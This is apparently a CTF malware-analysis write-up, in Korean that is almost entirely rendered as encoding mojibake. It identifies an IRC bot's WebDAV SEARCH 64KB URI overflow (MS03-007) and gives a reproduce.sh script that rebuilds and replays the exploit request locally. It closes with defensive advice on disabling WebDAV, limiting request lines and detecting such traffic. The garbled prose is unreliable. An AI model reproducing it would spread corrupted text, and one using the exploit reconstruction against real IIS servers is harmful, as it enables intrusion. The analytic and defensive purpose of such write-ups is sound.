method=SEARCHโ HTTP ํ์ค ๋ฉ์๋๊ฐ ์๋๋ค.- URI 65,536๋ฐ์ดํธ, ๊ทธ ์์
90์ด 63,377๊ฐ,02์b1์ด ๊ฐ๊ฐ 1,075๊ฐ. - ๋ณธ๋ฌธ์
DAV:๋ค์์คํ์ด์ค XML, ๊ทธ ๋ค์ 448๋ฐ์ดํธ๊ฐ ๋ ๋ถ์ด ์๊ณ ์์์ด01 90 90 90.
WebDAV SEARCH ์์ฒญ ํ๋์ 64KB ์ค๋ฒ๋ฐ๊ณผ ์์ฝ๋๋ฅผ ์ค์ด ๋ณด๋ด๋ ์ฝ๋๋ผ๋ ๊ฒ ์์ผ ์์์ ํ์ธ๋๋ค.
๐ฏ ์ ๋ต
์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
| ๊ด์ฐฐ | ๊ทผ๊ฑฐ |
|---|---|
| ํ์ ์ ์น ์๋ฒ | ScanPort(sHost, 80) ํต๊ณผํด์ผ Exploit ์ง์
|
| ๋ง์ ๊ฑฐ๋ ๋์์ WebDAV | ๋ณธ๋ฌธ์ด xmlns:g="DAV:" ๋ค์์คํ์ด์ค์ searchrequest |
| ์ฐ๋ ๋ฉ์๋๊ฐ WebDAV ์ ์ฉ | strcpy(szReqBuf, "SEARCH /") |
| ๊ณต๊ฒฉ ๋ฐฉ์์ URI ์ค๋ฒ๋ฐ | URI๊ฐ ์ ํํ 0x10000๋ฐ์ดํธ ยท 0xB102 ์คํ๋ ์ด ยท NOP ์ฌ๋ ๋ |
| ๋ชฉ์ ์ ์๊ฐ์ ํ | ์์ฝ๋์ ๋ด์ bot_ftrans_portยท๋ก์ปฌ IP๋ฅผ ์ฌ์ด ์ฐ๊ฒฐ๋ณต๊ท |
์ด ์กฐํฉ์ 2003๋
IIS 5.0์ WebDAV ์ฒ๋ฆฌ ๊ฒฝ๋ก์์ ํฐ์ง MS03-007(CVE-2003-0109) ๊ทธ ์์ฒด๋ค. ์ทจ์ฝ์ ์์ฒด๋ ntdll.dll์ ์์์ง๋ง, 64KB๊ฐ ๋๋ URL์ ๊ทธ ๊ฒฝ๋ก๊น์ง ์ค์ด ๋ณด๋ผ ์ ์๋ ํต๋ก๊ฐ WebDAV์ SEARCH์๋ค. Welchia/Nachi ๊ฐ์ ์์ด ์ด๊ฑธ๋ก ํผ์ก๊ณ , ์ด ์ฝ๋๋ ๋ด์ ๊ฐ์ ๋ฅ๋ ฅ์ ๋ถ์ธ ๋ชจ๋์ด๋ค.
๋ฌธ์ ๊ฐ ๋ฌป๋ "๋ฌด์์ ๊ณต๊ฒฉํ๋๊ฐ"์ ๋ต์ ์ ํ ์ด๋ฆ(iis)์ด ์๋๋ผ ๊ทธ ์ ํ์ ์ด๋ ๋ถ๋ถ์ด๋ โ webdav ๋ค.
webdavํ ๋ฐฉ ์ฌํ์ฉ์ผ๋ก reproduce.sh๋ฅผ ๋จ๊ฒจ ๋๋ค. ๋ฐฐํฌ ํ์ผ๊ณผ ์คํฌ๋ฆฝํธ๋ง ์์ผ๋ฉด ์ ๊ณผ์ ์ ์์๋๋ก ๋ค์ ๋ฐ๋๋ค.
#!/bin/sh
# [CodeEngn] Malware L02 (DreamHack #369, Silver 4, misc) โ ํ ๋ฐฉ ์ฌํ.
# ๋ฐฐํฌ ์์ค ํ ์กฐ๊ฐ๋ง ๊ฐ์ง๊ณ "๋ฌด์์ ๊ณต๊ฒฉํ๋๊ฐ" ๋ฅผ ๋ฐ์ดํธ๋ก ํ์ ํ๋ค.
#
# ์ฌ์ฉ๋ฒ: ./reproduce.sh
# ๊ฒฐ๊ณผ : ์ ๋ต ๋ฌธ์์ด webdav ๋ฅผ ๊ทผ๊ฑฐ์ ํจ๊ป ์ถ๋ ฅํ๋ค.
set -e
cd "$(dirname "$0")"
echo "=== 1. ๋ฐฐํฌ ํ์ผ ==="
file extracted/24FFA091.cpp
wc -lc extracted/24FFA091.cpp
sha256sum extracted/24FFA091.cpp
echo
echo "=== 2. WebDAV ์ง๋ฌธ โ body[] ์์์ ์์ฒญ ๋ฉ์๋ ==="
grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp
echo
echo "=== 3. IRC ๋ด ์ง๋ฌธ โ ์ด ํ์ผ์ ๋ด์ ์ค์บ๋ ๋ชจ๋์ด๋ค ==="
grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp
echo
echo "=== 4. Exploit() ์ด ๋ด๋ณด๋ด๋ ๋ฐ์ดํธ๋ฅผ ๊ทธ๋๋ก ์ฌ๊ตฌ์ฑ ==="
python3 build_request.py
echo
echo "=== 5. ์์ฒญ ์๋จธ๋ฆฌ (SEARCH / + 0x90 + ret ์คํ๋ ์ด) ==="
xxd -l 96 request.bin
echo
echo "=== 6. URI ๊ฐ ๋๋๋ ์๋ฆฌ โ ์คํ์
0x10000 ๊ฒฝ๊ณ ==="
xxd -s 65520 -l 288 request.bin
echo
echo "=== 7. ์์ผ์ผ๋ก ์ค์ ๋ก ํ๋ ค ๋ณด๊ณ ๋ฐ๋ ์ชฝ์์ ํ์ธ ==="
python3 replay_local.py
echo
echo "=== ์ ๋ต ==="
echo "webdav"๋ก์ปฌ ํ๊ฒฝ: Ubuntu(๋ฆฌ๋
์ค 6.17), Python 3.13, xxd(vim-common), GNU coreutils. ์ทจ์ฝํ Windows ํ์ ์ ์ฐ์ง ์์๊ณ , ์ธ ํ์๋ ์์๋ค โ ํ์ ์ ํ์ํ ๊ฑด ์ ๋ถ ๋ฐ์ ์ธก ๋ฐ์ดํธ์ ์๋ค.
๐ ๊ฒฐ๋ก
๋ต์ด ์์ค ํ ์ค์ ์์ด๋, ํ์ ์ ๋ฐ์ดํธ์์ ์จ๋ค. xmlns:g="DAV:"๋ง ๋ณด๊ณ webdav๋ผ๊ณ ์ฐ์ด๋ ๋ง๊ธด ํ๋ค. ํ์ง๋ง ๊ทธ๊ฒ๋ง์ผ๋ก๋ "WebDAV ํ๋กํ ์ฝ๋ก ๋ง์ ๊ฑธ ๋ฟ ์ค์ ํ์ ์ ๋ค๋ฅธ ๊ฒ"์ด๋ผ๋ ๊ฐ๋ฅ์ฑ์ ๋ชป ์ง์ด๋ค. URI๊ฐ ์ ํํ 0x10000์ด๋ผ๋ ๊ฑธ ํ์ธํ๊ณ ๋์์ผ ์ด ์ฝ๋๊ฐ WebDAV ์ฒ๋ฆฌ ๊ฒฝ๋ก์ ํน์ ๋ฒํผ๋ฅผ ๊ฒจ๋ด๋ค๋ ๊ฒ ๋ถ๋ช
ํด์ก๋ค.
๊ธด ์์๋ ๋๊ฐ ์๋ฏธ๊ฐ ์๋ค. 65535, 2150, 100 ๊ฐ์ ์ซ์๊ฐ ์์ค์ ๋ฐํ ์์ผ๋ฉด ๊ทธ ๊ฐ์ด ์ด๋์ ์๋์ง ๋ฐ์ ธ ๋ณผ ๊ฐ์ด์น๊ฐ ์๋ค. ์ฌ๊ธฐ์๋ 65535๊ฐ / ํ๋์ ํฉ์ณ์ ธ 65536์ด ๋๋ ๊ฒ ํต์ฌ์ด์๋ค. ์ฝ๋๋ฅผ ๋์ผ๋ก ์ฝ๋ ๊ฒ๊ณผ ์คํํด์ ์ฌ๋ ๊ฒ์ ์ฐจ์ด๊ฐ ๋ฑ ๊ทธ 1๋ฐ์ดํธ์๋ค.
๋ฐฉ์ด ๊ด์ ์์ ๋จ๋ ๊ฒ ์ธ ๊ฐ์ง.
- ์ ์ฐ๋ ํ๋กํ ์ฝ ํ์ฅ์ ๊บผ ๋๋ค. MS03-007 ํจ์น๊ฐ ๋์ค๊ธฐ ์ ๋ง์ดํฌ๋ก์ํํธ๊ฐ ๋จผ์ ์๋ดํ ์ํ์ฑ
์ด WebDAV ๋นํ์ฑํ์๋ค. 20๋
์ด ์ง๋ ์ง๊ธ๋ ์์น์ ๊ฐ๋ค โ ์ฐ์ง ์๋ ๋ฉ์๋ยท๋ชจ๋ยทํ์ฅ์ ๊ณต๊ฒฉ๋ฉด์ผ ๋ฟ์ด๋ค. ์์ฆ์ด๋ผ๋ฉด
PUT/DELETE/PROPFIND/SEARCH๊ฐ์ ๋ฉ์๋๋ฅผ ๋ฆฌ๋ฒ์ค ํ๋ก์์์ ํ์ดํธ๋ฆฌ์คํธ๋ก ์๋ผ๋ด๋ ๊ฒ ์ฒซ ์ค์ด๋ค. - ์์ฒญ ๋ผ์ธ ๊ธธ์ด ์ํ์ ์๋จ์์ ๊ฑด๋ค. ์ด ์์ฒญ์ URI๋ง 64KB๋ค. nginx์
large_client_header_buffers, Apache์LimitRequestLine์ฒ๋ผ ์๋จ์์ ์ํ์ ๋๋ฉด ์ ์ด์ ๋ค์ชฝ ํ์๊น์ง ๋ฟ์ง ์๋๋ค. ์ ์ ํธ๋ํฝ์ 64KB์ง๋ฆฌ URI๋ ์๋ค. SEARCH์ฒ๋ผ ๋๋ฌธ ๋ฉ์๋๋ ๊ทธ ์์ฒด๋ก ํ์ง ์ ํธ๋ค. ์ด ์ฝ๋๋ IRC๋กscanning ip %s:80.์ ํ๋ฆฌ๊ณ ํ์ ๋ง๋ค ๋๊ฐ์ 66KB ์์ฒญ์ ์๋ค. ์ก์ธ์ค ๋ก๊ทธ์์ ๋นํ์ค ๋ฉ์๋ + ๋น์ ์์ ์ผ๋ก ๊ธด URI ์กฐํฉ์ ์คํ์ด ๊ฑฐ์ ์๋ ๋ฃฐ์ด ๋๋ค. ์๋ต์ด ์ค๋ฉด ์คํจ๋ก ์น๊ณ ๋์ด๊ฐ๋ ๊ตฌํ์ด๋ผ, ์ฐจ๋จ๋ง ํด๋ ์ค์บ๋ ์ชฝ์์๋ ๊ทธ๋ฅ "์คํจํ ํ์ "์ด ๋๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ